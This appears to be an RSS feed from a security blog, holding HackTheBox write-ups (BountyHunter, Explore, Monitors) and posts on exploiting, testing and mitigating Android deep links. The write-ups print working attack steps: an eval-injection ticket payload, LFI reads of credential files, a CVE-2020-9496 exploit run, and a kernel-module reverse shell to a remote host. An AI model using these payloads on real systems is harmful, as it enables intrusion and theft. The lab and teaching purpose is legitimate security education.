$ python3 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/opt/skytrain_inc/invalid_tickets/734485704.md
Destination: Bridgeport
Invalid ticket.

Let's take a closer look at the script to see if we're able to abuse it:

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

After some local tests I was able to create a valid payload, but I was still unable to get the root flag, due to a "Permission denied" exception:

# Skytrain Inc
## Ticket to Bridgeport
__Ticket Code:__
**18 + __import__('os').system('cat /root/root.txt')**
##Issued: 2021/06/21
#End Ticket

After using linpeas.sh I realised that I was able to execute a very specific command as sudo:

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Using this privileged command, I was able to get the flag:

$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/malicious.md
Destination: Bridgeport
c70cb6e9f9e9a923d6718090a3f74d33
Invalid ticket.

References

]]>
<![CDATA[HTB Write-up | Explore]]>Retired machine can be found here.


esketit

Let's start with some basic scanning:

~ nmap -A 10.10.10.247

PORT     STATE    SERVICE    VERSION
2222/tcp open     ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey: 
|_  2048 71:90:e3:a7:c9:5d:83:66:
]]>
inesmartins.github.io/htb-write-up-explore/60df5ec80bafc20a7e3c4b50Sat, 30 Oct 2021 19:10:00 GMT

Retired machine can be found here.


esketit

Let's start with some basic scanning:

~ nmap -A 10.10.10.247

PORT     STATE    SERVICE    VERSION
2222/tcp open     ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey: 
|_  2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
5555/tcp filtered freeciv

On Android, the 5555 TCP port is usually open when the Android Debug Bridge Daemon (ADBD) is running, however, in this case the port is filtered.

Let's focus on the other port: the SSH Server application from "Banana Studio" is  available on Play Store and, as you can see below, supports anonymous login ("username=ssh without any password"):

HTB Write-up | Explore

However, it seems like this anonymous login is disabled. I was also not able to brute-force the password using a relevant SecList:

~ hydra -l ssh -P ssh-passwords.txt -s 2222 -t 16 10.10.10.247 ssh

Let's expand our scanning to see what else is open:

~ nmap -p 1-65535 10.10.10.247

2222/tcp open     ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey: 
|_  2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
5555/tcp filtered freeciv
59777/tcp open  http    Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).

Nice, another port!

Doing a bit of Googling we come across CVE-2019-6447:

The ES File Explorer File Manager application through 4.1.9.7.4 for Android allows remote attackers to read arbitrary files or execute applications via TCP port 59777 requests on the local Wi-Fi network. This TCP port remains open after the ES application has been launched once, and responds to unauthenticated application/json data over HTTP.

In order to exploit this misconfiguration, we can use this exploit.

After some trial and error, and with a bit of luck, I came across the user flag:

~ python3 50070.py getFile 10.10.10.247 /sdcard/user.txt 

==================================================================
|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |
|                Coded By : Nehal a.k.a PwnerSec                 |
==================================================================

[+] Downloading file...
[+] Done. Saved as `out.dat`.

~ htb_explore cat out.dat                                           
f32017174c7c7e8f50c6da52891ae250

Road to root

Let's continue enumerating using the other available commands for this script:

~ python3 50070.py listPics 10.10.10.247

==================================================================
|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |
|                Coded By : Nehal a.k.a PwnerSec                 |
==================================================================

...
name : creds.jpg
time : 4/21/21 02:38:18 AM
location : /storage/emulated/0/DCIM/creds.jpg
size : 1.14 MB (1,200,401 Bytes)
...
HTB Write-up | Explore

And we got a winner!

~ ssh kristi@10.10.10.247 -p 2222
> Kr1sT!5h@Rp3xPl0r3!

$ whoami
u0_a76

Now that we have access to some SSH credentials, let's forward the traffic from the machine's adb service to a local port:

~ adb start-server
* daemon not running; starting now at tcp:5037
* daemon started successfully

~ ssh -i ssh_key kristi@10.10.10.247 -L 5555:127.0.0.1:5555 -p 2222
> Kr1sT!5h@Rp3xPl0r3!

$ whoami
u0_a76

Then, on another tab on the local machine we can connect to the local service:

~ adb connect 127.0.0.1:5555
connected to 127.0.0.1:5555

~ adb shell

$ whoami
shell

Now let's see if we can authenticate as root:

$ su - root

$ whoami
root

$ cd data      

$ ls
adb           bootchart     media       property       tombstones 
anr           cache         mediadrm    resource-cache user       
app           dalvik-cache  misc        root.txt       user_de    
app-asec      data          misc_ce     ss             vendor     
app-ephemeral drm           misc_de     ssh_starter.sh vendor_ce  
app-lib       es_starter.sh nfc         system         vendor_de  
app-private   local         ota         system_ce      
backup        lost+found    ota_package system_de      

$ cat root.txt
f04fc82b6d49b41c9b08982be59338c5

Done :)

]]>
<![CDATA[Exploiting Deep Links in Android - Part 5 (Testing)]]>Enumeration

Enumeration should always start with the App Manifest, which can be extracted from any .apk with a tool such as apktool, e.g.:

~ apktool d com.twitter.android_2021-10-22.apk 
I: Using Apktool 2.5.0 on com.twitter.android_2021-10-22.apk
I: Loading resource table...
I: Decoding AndroidManifest.
]]>
inesmartins.github.io/exploiting-deep-links-in-android-pat-5-testing/617d78ac3eb63780007bc5e3Sat, 30 Oct 2021 17:20:05 GMTEnumerationExploiting Deep Links in Android - Part 5 (Testing)

Enumeration should always start with the App Manifest, which can be extracted from any .apk with a tool such as apktool, e.g.:

~ apktool d com.twitter.android_2021-10-22.apk 
I: Using Apktool 2.5.0 on com.twitter.android_2021-10-22.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /Users/inesmartins/Library/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes2.dex...
I: Baksmaling classes3.dex...
I: Baksmaling classes4.dex...
I: Baksmaling classes5.dex...
I: Baksmaling classes6.dex...
I: Baksmaling classes7.dex...
I: Baksmaling classes8.dex...
I: Baksmaling classes9.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory

~ open com.twitter.android_2021-10-22/AndroidManifest.xml

When you open the manifest, you should start by looking for <intent-filter> elements:

Exploiting Deep Links in Android - Part 5 (Testing)

Note the scheme, host and path attributes inside <data> elements to understand what deep links are supported, and check the category and action elements, as they give you clues about how the deep links are used.

The example below shows a Scheme URL with scheme="myapp" and host="path", which means the following URI could be handled by the app: myapp://path.

<activity android:name=".MyUriActivity">
  <intent-filter>
      <action android:name="android.intent.action.VIEW" />
      <category android:name="android.intent.category.DEFAULT" />
      <category android:name="android.intent.category.BROWSABLE" />
      <data android:scheme="myapp" android:host="path" />
  </intent-filter>
</activity>

When analysing app links, make sure the intent filter includes the  android:autoVerify="true" attribute, which enables app link verification:

<activity android:name=".MyUriActivity">
  <intent-filter android:autoVerify="true">
      <action android:name="android.intent.action.VIEW" />
      <category android:name="android.intent.category.DEFAULT" />
      <category android:name="android.intent.category.BROWSABLE" />
      <data android:scheme="http" android:host="www.myapp.com" android:path="/my/app/path" />
      <data android:scheme="https" android:host="www.myapp.com" android:path="/my/app/path" />
  </intent-filter>
</activity>

The simplest way to check if a link is correctly verified is to just enter it onto a mobile browser and check that the link is automatically (without any user interaction) opened with the intended app.

If you're looking for additional information, you can also use this simple Python tool that I've developed. This library supports a bunch of different test modes and options, but most likely the verify-applinks option will give you what you need:

~ python3 Android-App-Link-Verification-Tester/deeplink_analyser.py \
-apk com.twitter.android_2021-10-22.apk \
-p com.twitter.android \
-op verify-applinks

[...]

The APK's signing certificate's SHA-256 fingerprint is: 
0F:D9:A0:CF:B0:7B:65:95:09:97:B4:EA:EB:DC:53:93:13:92:39:1A:A4:06:53:8A:3B:04:07:3B:C2:CE:2F:E9

[...]

Checking http://mobile.twitter.com/.*

✓ includes autoverify=true
✓ includes VIEW action
✓ includes BROWSABLE category
✓ includes DEFAULT category
✓ DAL verified

  Relations: 
    - [Standard] delegate_permission/common.get_login_creds
    - [Standard] delegate_permission/common.handle_all_urls
    - [Custom]   delegate_permission/common.use_as_origin

Checking http://twitter.com/.*

✓ includes autoverify=true
✓ includes VIEW action
✓ includes BROWSABLE category
✓ includes DEFAULT category
✓ DAL verified

  Relations: 
    - [Standard] delegate_permission/common.get_login_creds
    - [Standard] delegate_permission/common.handle_all_urls
    - [Custom]   delegate_permission/common.use_as_origin

[...]

Read more about relation strings here: https://developers.google.com/digital-asset-links/v1/relation-strings

Static and Dynamic Analysis

In order to understand what data is being taken from deep links and how that data is being processed, check for occurrences of:

  • getIntent()
  • .getData()
  • .getExtras()
  • Regex search: \.get\w+Extra\(  -> finds occurrences .getStringExtra(,  .getParcelableExtra(, etc.)

To understand how the app’s WebViews are controlling which URLs are loaded and how, look for:

  • shouldOverrideUrlLoading
  • shouldInterceptRequest

Finally, to see how the data or URIs are being loaded into the app's WebViews, check for any calls to:

  • .loadUrl(
  • .loadData(

Note that, not only are these methods relevant when doing static analysis, you can also "hook" them with Frida when doing dynamic analysis.


Automated Tests and Fuzzing

If you already know which deep link you you want to test, adb is the way to go:

~ adb shell am start -W -a android.intent.action.VIEW -d <url>

where:
-a ~> action
-W ~> wait for launch to complete
-d ~> URL

If you want to build and send a specific Intent URL, you can create a new Android app using Android Studio, as shown below:

Exploiting Deep Links in Android - Part 5 (Testing)

Finally, if you have no idea what you're looking for, maybe give fuzzing a try with drozer's fuzzinozzer module:

dz> run intents.fuzzinozer --complete_test --package com.twitter.android --save_state

And this is it, the end of the road for this series.
Hope you learned something!

]]>
<![CDATA[HTB Write-up | Monitors]]>Retired machine can be found here.

Scanning

Let's start the same as always, with a basic nmap scan:

~ nmap -sC -sV -A 10.10.10.238

Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-01 11:15 WEST
Nmap scan report for 10.10.10.238
Host is
]]>
inesmartins.github.io/htb-write-up-monitors/608d24d93241306f9f095bbdSat, 09 Oct 2021 16:17:00 GMTRetired machine can be found here.

Scanning

HTB Write-up | Monitors

Let's start the same as always, with a basic nmap scan:

~ nmap -sC -sV -A 10.10.10.238

Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-01 11:15 WEST
Nmap scan report for 10.10.10.238
Host is up (0.32s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_  256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There's an Apache web server running on port 80 but we can't access it with the IP alone:

HTB Write-up | Monitors

Luckily the virtual host is pretty obvious:

~ sudo nano /etc/hosts

...
10.10.10.238    monitors.htb
HTB Write-up | Monitors

According to the footer the website was built using Wordpress, so let's run wpscan:

HTB Write-up | Monitors

The tool found that this instance was using the WP with Spritz plugin, more specifically version 1.0, which is vulnerable to unauthenticated RFI.

As shown on this ExploitDB POC, all we need to do to is call a particular path inside the plugin directory - wp.spritz.content.filter.php - with a specific parameter - url - and we can see the content of any accessible file in the system, e.g.:

HTB Write-up | Monitors

Enumerating with LFI

marcus looks like the most interesting user, and it seems like we're able to access their home directory, but we can't read user.txt.

Let's try to read the Wordpress configuration file:

~ curl http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php\?url\=../../../wp-config.php
HTB Write-up | Monitors

So, we have the db name, user and password (which might be re-used somewhere else):

DB_NAME: 'wordpress'
DB_USER: 'wpadmin'
DB_PASSWORD: 'BestAdministrator@2020!'

Unfortunately, we don't have permissions to access the database locally and can't access the service from a remote machine. So, let's try some more enumeration using a handy list:

import os

baseurl = 'http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php\?url\=/'

entries = open('lfi_payloads.txt', 'r').read().split('\n')

for entry in entries:
	print('Trying ' + entry)
	os.system('curl ' + baseurl + entry + ' -O')

After some trial and error we finally get something interesting on etc/apache2/sites-enabled/000-default.conf:

HTB Write-up | Monitors

Exploring cacti-admin

Let's configure our new virtual host and access the website:

~ sudo nano /etc/hosts

...
10.10.10.238    cacti-admin.monitors.htb
HTB Write-up | Monitors

Luckily we can use the credentials we found on the last step and get in: admin/BestAdministrator@2020!

HTB Write-up | Monitors

Going through the source code, we see that this application is using Cacti version 1.2.12, which has a lot of known vulnerabilities including an RCE via SQL Injection.

And better yet, there's a working payload on ExploitDB:

~ python cacti_exploit.py -t http://cacti-admin.monitors.htb -u admin -p BestAdministrator@2020! --lhost 10.10.14.122 --lport 4444
[+] Connecting to the server...
[+] Retrieving CSRF token...
[+] Got CSRF token: sid:105acde9cf997ef401f3eaaf5a884e62c9776fa1,1620939044
[+] Trying to log in...
[+] Successfully logged in!

[+] SQL Injection:
"name","hex"
"",""
"admin","$2y$10$TycpbAes3hYvzsbRxUEbc.dTqT0MdgVipJNBYu8b7rUlmB8zn8JwK"
"guest","43e9a4ab75570f5b"

[+] Check your nc listener!

And we have a shell!

$ whoami
www-data

Let's upgrade it to an interactive shell:

~ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@monitors:/usr/share/cacti/cacti

Getting user

www-data@monitors:/home/marcus$ su marcus
Password: BestAdministrator@2020!

After failing to get anything interesting on the user's home directory, I tried to find all files with string "marcus":

$ grep "marcus" /etc -R 2>/dev/null

/etc/group-:marcus:x:1000:
/etc/subgid:marcus:165536:65536
/etc/group:marcus:x:1000:
/etc/passwd:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
/etc/systemd/system/cacti-backup.service:ExecStart=/home/marcus/.backup/backup.sh
/etc/subuid:marcus:165536:65536
/etc/passwd-:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash

The cacti-backup service looks interesting:

$ cat /etc/systemd/system/cacti-backup.service
[Unit]
Description=Cacti Backup Service
After=network.target

[Service]
Type=oneshot
User=www-data
ExecStart=/home/marcus/.backup/backup.sh

[Install]
WantedBy=multi-user.target

Let's see if we can read the script that's being called:

$ cat /home/marcus/.backup/backup.sh

#!/bin/bash

backup_name="cacti_backup"
config_pass="VerticalEdge2020"

zip /tmp/${backup_name}.zip /usr/share/cacti/cacti/*
sshpass -p "${config_pass}" scp /tmp/${backup_name} 192.168.1.14:/opt/backup_collection/${backup_name}.zip
rm /tmp/${backup_name}.zip

That's an interesting password 😉

$ su marcus
su marcus
Password: VerticalEdge2020

marcus@monitors:/usr/share/cacti/cacti$ cat /home/marcus/user.txt
cat /home/marcus/user.txt
1f9e04959870f6cd3c13216d0cf00583

And now we're able to access via SSH, which is a lot easier:

~ ssh marcus@monitors.htb
marcus@monitors.htb's password:
> VerticalEdge2020

...

marcus@monitors:~$

Red Herring

It seems like marcus left a note in their home directory:

marcus@monitors:~$ cat note.txt

TODO:

Disable phpinfo	in php.ini		- DONE
Update docker image for production use	-

Since the Docker image might be deprecated, let's filter out all of the processes running on the machine that are Docker-related:

$ ps aux | grep docker

root       1527  0.0  2.0 1196956 82704 ?       Ssl  11:42   0:04 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock

root       2006  0.1  0.2 628508  8864 ?        Sl   11:42   0:15 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -container-ip 172.17.0.2 -container-port 8443

root       2039  0.0  0.1 108820  5768 ?        Sl   11:42   0:01 containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/a2e16ca5647428c5f43ce47fd08272fd8738ed80d3db0e6cf4bcb15370bbf184 -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc

Note that all of these are ran by root, and the docker group doesn't contain any user, which means we can't use most of the known privesc Docker vectors:

$ cat /etc/group | grep docker
docker:x:999:
$ cat /etc/passwd | grep 999

Let's see what else we can find about this instance of Docker with deepce:

HTB Write-up | Monitors

There doesn't seem to be a known vulnerability for the current Docker version, so we need to go another route.


Apache OFBiz

We know that docker-proxy is mapping the host TCP port 8443 to the container's (172.17.0.2) TCP port 8443:

HTB Write-up | Monitors

So we can SSH tunnel to see what's running on the container:

~ ssh -L 8443:localhost:8443 marcus@monitors.htb  -fNT 
marcus@monitors.htb's password: 
> VerticalEdge2020

~ ps aux | grep 8443
inesmartins      38886   0.0  0.0  4331440    648   ??  Ss   12:35PM   0:00.00 ssh -L 8443:localhost:8443 marcus@monitors.htb -fNT

When we access this address on our local browser we can see this page:

HTB Write-up | Monitors

A quick scan of the port tells us that the SSL certificate was emitted for ofbiz-vm.apache.org, which points to an Apache OFBiz applications.

~ nmap -sC -sV -A localhost -p 8443

PORT     STATE SERVICE  VERSION

8443/tcp open  ssl/http Apache Tomcat 9.0.31
|_http-title: Site doesn't have a title (text/plain;charset=UTF-8).
| ssl-cert: Subject: commonName=ofbiz-vm.apache.org/organizationName=Apache Software Fundation/stateOrProvinceName=DE/countryName=US
...
Apache OFBiz is a suite of business applications flexible enough to be used across any industry. A common architecture allows developers to easily extend or enhance it to create custom features.

This framework has some serious vulnerabilities, one of them being CVE-2020-9496 which enables unauthenticated RCE:

OfBiz exposes an XMLRPC endpoint at /webtools/control/xmlrpc. This is an unauthenticated endpoint since authentication is applied on a per-service basis. However, the XMLRPC request is processed before authentication. As part of this processing, any serialized arguments for the remote invocation are deserialized, therefore if the classpath contains any classes that can be used as gadgets to achieve remote code execution, an attacker will be able to run arbitrary system commands on any OfBiz server with same privileges as the servlet container running OfBiz.

I found a really great POC on Github and gave it a shot:

~ git clone git@github.com:ambalabanov/CVE-2020-9496.git
~ cd CVE-2020-9496
~ wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial.jar
~ brew install --cask adoptopenjdk8brew tap adoptopenjdk/openjdk
~ brew tap adoptopenjdk/openjdk
~ java -version
~ export JAVA_HOME=`/usr/libexec/java_home -v 1.8.0_292`

I setup a local server:

~ python3 -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...

... and sent a curl command to see if the container would connect to it:

~ python3 cve-2020-9496.py --target https://localhost:8443
cmd> curl http://10.10.14.9:9000
[!] Send payload ...
[+] Done!

I got a connection from 10.10.10.238 which is the host machine's IP, so I knew this was working:

10.10.10.238 - - [29/Sep/2021 21:37:38] "GET / HTTP/1.1" 200 -

With RCE on the container, I decided to make enumeration a little easier and faster with a Python script:

After using this script with some LFI Seclists, I couldn't find any relevant files or hints, so I started thinking that this was a straightforward container escape.

I was also getting a little frustrated with not having a shell into the machine, so I decided to abandon my script and give Metasploit a try.

After some tweaking, I finally got it:

HTB Write-up | Monitors

The final step

This was definitely the hardest part. I knew I had to escape from the container, and tried a lot of known exploits without any luck.

Finally, after a loooong and frustrating process I found this article from 2020: "Privileged Container Escapes with Kernel Modules":

It turns out that privileged containers (or just those with CAP_SYS_MODULE) are able to use the sys_init_module() and sys_finit_module() syscalls - which are what’s used to load kernel modules.
As all containers share their kernel with the host (unlike VMs), this clearly results in yet another complete system compromise.

This led me to find this POC:

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.10.238/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/gcc/x86_64-linux-gnu/8/", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
reverse-shell.c
obj-m +=reverse-shell.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Makefile

Note how the reverse shell is targeted at the host machine, on port 4444, so we need to setup that listener:

marcus@monitors:~$ nc -nvlp 4444

On our machine, let's serve these files so that the container can fetch them using wget:

~ python3 -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...

Now, on the Metasploit shell, let's fetch the reverse-shell.c and Makefile, build the payload and trigger it:

> sessions -i 1
[*] Starting interaction with 1...

python -c 'import pty; pty.spawn("/bin/bash")'

root@79931c1ed9a2:/usr/src/apache-ofbiz-17.12.01# whoami
root

root@79931c1ed9a2:/usr/src/apache-ofbiz-17.12.01# cd /

root@79931c1ed9a2:/# wget http://10.10.14.22:9000/reverse-shell.c
root@79931c1ed9a2:/# wget http://10.10.14.22:9000/Makefile
root@79931c1ed9a2:/# export PATH=/usr/lib/gcc/x86_64-linux-gnu/8/:$PATH
root@79931c1ed9a2:/# make clean
root@79931c1ed9a2:/# make
root@79931c1ed9a2:/# insmod reverse-shell.ko

And that's it!

HTB Write-up | Monitors

References

]]>
<![CDATA[Exploiting Deep Links in Android - Part 4 (Mitigation)]]>Preventing Deep Link Hijacking

When it comes to preventing Deep Link Hijacking, the message is simple: stop using Scheme URLs and start using (properly verified) App Links or Intent URLs.

[If you're lost maybe you should go back to Part 1]

As of August 2021 only about 6%

]]>
inesmartins.github.io/exploiting-deep-links-in-android-part-4-mitigation/614cd409fec7b20db8a36f01Thu, 23 Sep 2021 20:10:50 GMTPreventing Deep Link HijackingExploiting Deep Links in Android - Part 4 (Mitigation)

When it comes to preventing Deep Link Hijacking, the message is simple: stop using Scheme URLs and start using (properly verified) App Links or Intent URLs.

[If you're lost maybe you should go back to Part 1]

As of August 2021 only about 6% of Android devices were still using Android 5 (Lollipop) or earlier versions of the OS, which don’t support App Links. So at this point, there are not a lot of excuses to still use Scheme URLs, which are insecure by design.

However, as discussed on Part 1, App Links can be tricky to verify correctly. Luckily, there are some tools that can help with this task.

Google provides a Deep Link Validator in their Ads platform as well as a Statement List Generator and Tester. This tools enables you to test if a given site domain grants app deep linking to the app with the specified name and SHA256 fingerprint:

Exploiting Deep Links in Android - Part 4 (Mitigation)

I found this tool to be insufficient, and couldn't find any other tool that gave me all of the information I needed about an application's App Links.

As such, I ended up developing an open source tool that, among other things, can help you check if the App Links registered on the application are correctly verified:

~ python3 Android-Deep-Link-Analyser/deeplink_analyser.py \
-apk com.twitter.android.apk \
-p com.twitter.android \
-op verify-applinks

The output looks something like:

Exploiting Deep Links in Android - Part 4 (Mitigation)

This tool has a lot of other features that might interested you.
Also, if you have any ideas, corrections or suggestions I would love to receive them on Github!


Validating Untrusted Data

As a general rule, you should treat all data received via deep link as being potentially malicious. As such, this data should be properly validated, sanitized and encoded.

If you remember, a lot of the vulnerabilities we explored on the previous posts could have been prevented if the developers checked a given URL against an allowlist.

However, when parsing and checking URLs we should keep in mind that a lot of popular URL parsers have known vulnerabilities:

Exploiting Deep Links in Android - Part 4 (Mitigation)

Note that this issue is now fixed for API 28 - triggering a deep links with a malformed URL loads the attacker's scripts in Chrome rather than the app’s WebView - but this is still valid for older APIs.


WebView Hardening

As we saw on the previous posts, WebViews can potentially lead to local file exfiltration, they can allow a malicious user to access data created by other applications, and they're vulnerable to common web vulnerabilities.

So, when it comes to WebViews we should first ask ourselves: "could we replace it with a native Android UI component?"

If the answer is "Yes" we should go with the native approach.

If the answer is "No" we should enforce the following settings, unless absolutely necessary:

setJavaScriptEnabled(false);
setAllowFileAccess(false);
setAllowContentAccess(false);
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);
setJavaScriptCanOpenWindowsAutomatically(false);
setMixedContentMode(1);

You should also be careful when using the following options:

setDomStorageEnabled
setCacheMode
setAppCacheEnabled + setAppCachePath
setGeolocationEnabled +setGeolocationDatabasePath

Note that these settings are safe by default on "modern" Android APIs, but you should verify if the app developer has not explicitly set an insecure configuration.

Finally, if your app directs users to URLs outside your domain, consider using Chrome Custom Tabs instead of a WebView:

CCT opens faster than a browser and, if preloaded via its warm-up call, is potentially even faster than a WebView. While it still runs Javascript, it is in its own process, which prevents apps from running malicious code. Furthermore, the CCT UI provides an action bar which shows the URL of the page being loaded, along with an SSL verification lock icon for secure pages.

Hopefully, you're now better equipped to protect your application.
On the next post we'll explore Testing methodologies.

]]>
<![CDATA[Exploiting Deep Links in Android - Part 3]]>So .. what else can we do with deep links?


Local File Inclusion (LFI)

In part 2 we saw how to achieve LFI via the WebView.loadUrl method. In this part we'll explore an alternative that doesn't require the application to contain a WebView.

Let's

]]>
inesmartins.github.io/exploiting-deep-links-in-android-part-3/61325b65ca603212098f5e4bSat, 04 Sep 2021 20:07:17 GMT

So .. what else can we do with deep links?


Local File Inclusion (LFI)

In part 2 we saw how to achieve LFI via the WebView.loadUrl method. In this part we'll explore an alternative that doesn't require the application to contain a WebView.

Let's continue using the ABC Bank Android application as an example, and imagine that their customer support team uses deep links to help customers see important information displayed inside the app.

But in this case, instead of a parameter that specifies a web page, the deep link contains the path to a local file, e.g.:

abcbank://help?file=how-to-enable-mfa.txt

When the application receives this deep link, it opens the local file, reads its contents and displays in inside a TextView, as shown below:

String file = getIntent().getData().getQueryParameter('file');

AssetManager am = getAssets()
InputStream is = am.open(file);
BufferedReader r = new BufferedReader(new InputStreamReader(is));
StringBuilder str_to_display = "";

for (String line; (line = r.readline()) != null; ) {
    str_to_display.append(line).append('\n');
}

TextView tv = findViewById(R.id.myTextView);
tv.setText(str_to_display.toString());

So, what's the danger here? Surely if a user sees their own local data displayed on the screen that's not much of an issue.

Exploiting Deep Links in Android - Part 3

Well, for starters it depends on whether or not the application enforces any validations when it comes to the files that can be specified via deep link. If there aren't any validations, then it all comes down to the data can be accessed from the application.

Note, for example, that if the application includes the READ_EXTERNAL_STORAGE permission, it can access files stored in shared directories, including those generated by other apps (note that since API 29 this is not possible since all storage is scoped).

So, it's not much of a leap to imagine that a malicious application could write a file to a shared directory that would then be read by the victim app.

Depending on the WebView configurations, this local file could then read all of the application files and exfiltrate them to an attacker-controlled server.

The attack surface can also be expanded if the application has access to Content Providers, which are interfaces that allow multiple apps to share data.

Cross-Site Request Forgery (CSRF)

Usually, when we talk about CSRF, we're exploiting some Cookie (mis)configuration in order to trick a user into performing an unintended action. A typical scenario would be a phishing link that performs a GET request that does some sort of account state change.

The same scenario is possible in Android if the application registers a deep link that "automatically" performs an action without any additional confirmation from the user.

A very straightforward example of this was reported in 2019 on the Periscope app: in short, it was possible to trick a user of the Periscope application into following another user of the app, simply by tricking the victim into clicking on a deep link similar to:

pscp://user/<any-user-id>/follow
Exploiting Deep Links in Android - Part 3

The application, in essence, behaves as the browser by authenticating and sending the request without confirming with the user if they want to perform said action. And the impact is basically whatever feature is supported by the app itself.

Remote Code Execution (RCE)

Achieving RCE is theoretically possible, but very unlikely, since it would require very poor judgement on the part of the application's developers.

Let's go back to the ABC Bank Android app. Their customer support team knows that some OS versions have specific bugs, but their clients are not tech-savvy enough to check the OS by themselves, so they send them a deep link such as this one:

abcbank://help?cmd=cat%20/system/build.prop

When the application receives this deep link, it executes the cat /system/build.prop command using Runtime.getRuntime().exec(), and then the output is displayed on a TextView, just as before:

String command = getIntent().getData().getQueryParameter('cmd');
Process process = Runtime.getRuntime().exec(command)

InputStreamReader isr = InputStreamReader(process.inputStream);
BufferedReader r = new BufferedReader(isr);
StringBuilder str_to_display = "";

for (String line; (line = r.readline()) != null; ) {
    str_to_display.append(line).append('\n');
}

TextView tv = findViewById(R.id.myTextView);
tv.setText(str_to_display.toString());

The client then simply reads the output to the customer support agent, which can then take that info into account when supporting the user.

In this scenario and without any additional validations, it would be possible for an attacker to remotely execute commands on the device by simply tricking a victim into clicking a deep link such as:

deeplink://path?cmd=<the-evil-command>

But, again, it would be a sign of very poor judgement to allow a user to specify commands directly via deep link, particularly without any additional validations, and proof of that is the fact that I couldn't find any actual examples of RCE reported in the wild.


And that's it for now! On the next post I'll look into Mitigation.

]]>
<![CDATA[MobSF "IPA Binary Analysis" | Step by Step]]>MobSF is an open source static and dynamic analysis tool for Android and iOS, which can be used to quickly detect major issues on your mobile application.

